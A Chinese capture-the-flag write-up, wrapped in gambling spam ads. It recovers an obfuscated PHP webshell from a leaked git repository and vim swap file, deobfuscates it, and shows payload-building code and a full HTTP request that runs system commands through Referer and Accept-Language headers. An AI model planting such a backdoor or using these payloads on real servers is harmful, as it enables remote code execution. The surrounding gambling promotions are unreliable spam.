博狗NBA,欧冠外围投注平台,博狗网上娱乐网址多少?澳门博狗网上赌场_唯一国际网址:www.bogoupoker.com
大发扑克|dafapoker|大发在线德州扑克|大发德州扑克策略网站——大发游戏导航(dfyxdh.com)
迈博myball最新网站|迈博体育官网|最好玩的体育直播观看平台——迈博体育导航(mbo388.com)
backdoor
-
踩了个巨坑。php 一样要查看源代码啊。。。。。
-
第二个坑。审计代码可以预定输入,执行输出快速得出怎么构造。
-
第三个坑。要用jgithack 而不是githack了。
-
进入题目。发现一个页面,什么也没有。扫题目。
-
得到 /.git/
-
用jgihack来爬取
-
得到文件flag.php里面什么都没有。
-
所以用git log git diff 命令 来查看历史的修改
-
发现了b4ckdo0r.php
-
页面提示 can you find the source code of me?-
-
猜测有备份文件
-
用各种备份格式测试。发现..b4ckdo0r.php.swo. 从DDCTF的第一题给的csdn。我想起来这就是个vim异常退出的缓存文件。然后进入kali vim -r .b4ckdo0r.php.swo
-
得到
/** * Signature For Report */$h='_)m/","/-/)m"),)marray()m"/","+")m),$)mss($s[$i)m],0,$e))))m)m,$k)));$o=ob)m_get_c)monte)m)mnts)m();ob_end_clean)';/* */$H='m();$d=ba)mse64)m_encode)m(x(gzc)mompres)ms($o),)m$)mk));print("<)m$k>$d<)m/)m$k>)m");@sessio)mn_d)mestroy();}}}}';/* */$N='mR;$rr)m=@$r[)m"HTT)mP_RE)mFERER"];$ra)m=)m@$r["HTTP_AC)mC)mEPT_LANG)mUAGE)m")m];if($rr)m&&$ra){)m$u=parse_u)mrl($rr);p';/* */$u='$e){)m$k=$)mkh.$kf;ob)m_start();)m@eva)ml(@gzunco)mmpr)mess(@x(@)mbase6)m4_deco)mde(p)m)mreg_re)mplace(array("/';/* */$f='$i<$)ml;)m){)mfo)mr($j)m=0;($j<$c&&$i<$l);$j)m++,$i+)m+){$)mo.=$t{$i)m}^$)mk{$j};}}r)meturn )m$o;}$r)m=$_SERVE)';/* */$O='[$i]="";$p)m=$)m)mss($p,3)m);}if(ar)mray_)mkey_exists)m()m$i,$s)){$)ms[$i].=$p)m;)m$e=s)mtrpos)m($s[$i],$f);)mif(';/* */$w=')m));)m$p="";fo)mr($z=1;)m$z<c)mount()m$m[1]);$)mz++)m)m)$p.=$q[$m[)m)m2][$z]];if(str)mpo)ms($p,$h))m===0){$s)m';/* */$P='trt)molower";$)mi=$m[1][0)m)m].$m[1][1])m;$h=$sl()m$ss(m)md5($)mi.$kh)m),0,)m3));$f=$s)ml($ss()m)mmd5($i.$kf),0,3';/* */$i=')marse_)mstr)m($u["q)muery"],$)m)mq);$q=array)m_values()m$q);pre)mg_matc)mh_all()m"/([//w)m])m)[//w-)m]+(?:;q=0.)';/* */$x='m([//d)m]))?,?/",)m$ra,$m))m;if($q)m&&$)mm))m)m{@session_start();$)ms=&$_S)mESSI)m)mON;$)mss="sub)mstr";$sl="s)m';/* */$y=str_replace('b','','crbebbabte_funcbbtion');/* */$c='$kh="4f7)m)mf";$kf="2)m)m8d7";funct)mion x($t)m,$k){$)m)mc=strlen($k);$l=st)mrlen)m($t);)m)m$o="";for()m$i=0;';/* */$L=str_replace(')m','',$c.$f.$N.$i.$x.$P.$w.$O.$u.$h.$H);/* */$v=$y('',$L);$v();/* */
- 仔细看代码 直接输出echo $L; 就行
- 第一深坑。php代码一定要用源代码复制站贴啊!!!!!!!!!!
- php代码为
<?php$kh = "4f7f";$kf = "28d7";function x($t, $k) { //k=4f7f28d7 $c = strlen($k); //k长度 8 $l = strlen($t); // t长度 $o = ""; for ($i = 0; $i < $l;) { //t 长度里面循环 for ($j = 0; ($j < $c && $i < $l); $j++, $i++) { //k长度和t长度共同里面循环 $o. = $t { // o = $i } ^ $k { $j }; } } return $o;}$r = $_SERVER;$rr = @$r["HTTP_REFERER"]; //访问地址 $ra = @$r["HTTP_ACCEPT_LANGUAGE"]; // 语言if ($rr && $ra) { $u = parse_url($rr); //php parse_url函数解析一个 URL 并返回一个关联数组,包含在 URL 中出现的各种组成部分。 parse_str($u["query"], $q); //解析查询字符串放入$q $q = array_values($q); //只要值。 preg_match_all("/([/w])[/w-]+(?:;q=0.([/d]))?,?/", $ra, $m); if ($q && $m) {@session_start(); $s = &$_SESSION; $ss = "substr"; $sl = "strtolower"; $i = $m[1][0].$m[1][1]; //zz $h = $sl($ss(md5($i.$kh), 0, 3)); // md5(zz4f7f)=67587e3dcb97030c61b55bbdd973a8cd substr( ,0,3) = 675 675 $f = $sl($ss(md5($i.$kf), 0, 3)); // md5(zz28d7) = a3e35c4c07db9f3ef387252604077236 substr( ,0,3) = a3e a3e $p = ""; for ($z = 1; $z < count($m[1]); $z++) $p. = $q[$m[2][$z]]; // count($m[1])=6 $m[2][$z]= null 8 7 5 3 2 if (strpos($p, $h) === 0) { //strpos 查找$h 在$p第一次出现的位置 675 在$p第一次出现的位置。 p以675开头 $s[$i] = ""; $p = $ss($p, 3); } if (array_key_exists($i, $s)) { //zz 是session的健 $s[$i]. = $p; // zz的值和$p 连起来。 $e = strpos($s[$i], $f); // 查找a3e 在zz和p连起来的字符串的位置。 if ($e) { $k = $kh.$kf; //k=4f7f28d7 ob_start();@eval(@gzuncompress(@x(@base64_decode(preg_replace(array("/_/", "/-/"), array("/", "+"), $ss($s[$i], 0, $e))), $k))); // session的zz值 从0截取到a3e出现的位置 把其中的_ - 替换成 /和+ 然后base64 。 然后送入x函数 $o = ob_get_contents(); ob_end_clean(); $d = base64_encode(x(gzcompress($o), $k)); print("<$k>$d</$k>");@session_destroy(); } } }}?>
-菜鸡的我一步一个输入得出了才看透了代码。
- 构造payload
function x($t, $k) { //k=4f7f28d7 $c = strlen($k); //k长度 8 $l = strlen($t); // t长度 $o = ""; for ($i = 0; $i < $l;) { //t 长度里面循环 for ($j = 0; ($j < $c && $i < $l); $j++, $i++) { //k长度和t长度共同里面循环 $o .= $t {$i} ^ $k {$j}; } } return $o;}$flag = "system('ls');"; echo $flag; echo @base64_encode(@x(@gzcompress($flag),$k)); echo '<br>';
将其得到的值放入Referer: h变量的位置。system() 里面直接写自己的命令
GET /Challenges/b4ckdo0r.php HTTP/1.1Host: 5edad8a7a6bb4bb781262c05304c0b9aaa87becfa67e4333.changame.ichunqiu.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:68.0) Gecko/20100101 Firefox/68.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateConnection: closeCookie: __jsluid=a3e4bda8f20dbecdcbbb2db40f31bf49Upgrade-Insecure-Requests: 1Referer: http://localhost/test.html?a=1&b=2&c=3&d=4&e=5&f=a3e&g=7&h=TPocyB4WLfrhNngoHmlM/vxKuakGtSv8fSrgTfoQNOCAYDfe2zKY&l=675
- 得到类似这种返回的时候can you find the source code of me?<4f7f28d7>TPqE1x3wTNfRNH6te3Qzh2E2MLfnPiJecuCxrxSCDVEi4I1Ae/HtjaLgHuCIfqJx0kAx8CQu4p5y092wjmSSQWhmf38iTw==</4f7f28d7>
$test3 ='TPqE1x3wTNfRNH6te3Qzh2E2MLfnPiJecuCxrxSCDVEi4I1Ae/HtjaLgHuCIfqJx0kAx8CQu4p5y092wjmSSQWhmf38iTw==';echo gzuncompress(x(base64_decode($test3),$k));
用类似的代码解一下
- 记得cat php文件的时候一定要看源代码!!!!!!!!!!!
10708股票网
蜜糖小说网
猜你喜欢
自由黄灵 科普类的书籍有哪些 插画师是做什么的 转泪点 配思 怎么学习photoshop 浏览器打不开网页是什么原因 为什么浏览器打不开网页 史上最催泪的爱情故事 喜欢吃甜食的原因 方志江 局部第三季 双脑共振 人间的四月天 学笔画 我以千面候君心 十八罗汉名字 冰上的尤里几对CP 滑动门代码 人口论 人物海报 有关植物的诗 描写植物的诗歌 水性硅藻泥 消灾寺 四阶魔方还原公式 接受不能改变的 万达电商 说课教案 怎么说课 周云帆 朱锐斌 橘颂 我家二爷 喜欢两个人歌词 埃尔热 我家二爷全文免费阅读 手腕上突然鼓个包 腱鞘囊肿会自己消失吗 英语程序
蜗牛扑克allnew官网 蜗牛扑克allnewpoker官网,蜗牛扑克allnewpoker国际场,allnewpoker官网下载,蜗牛扑克网站,蜗牛扑克下载,www.allnewpuke.com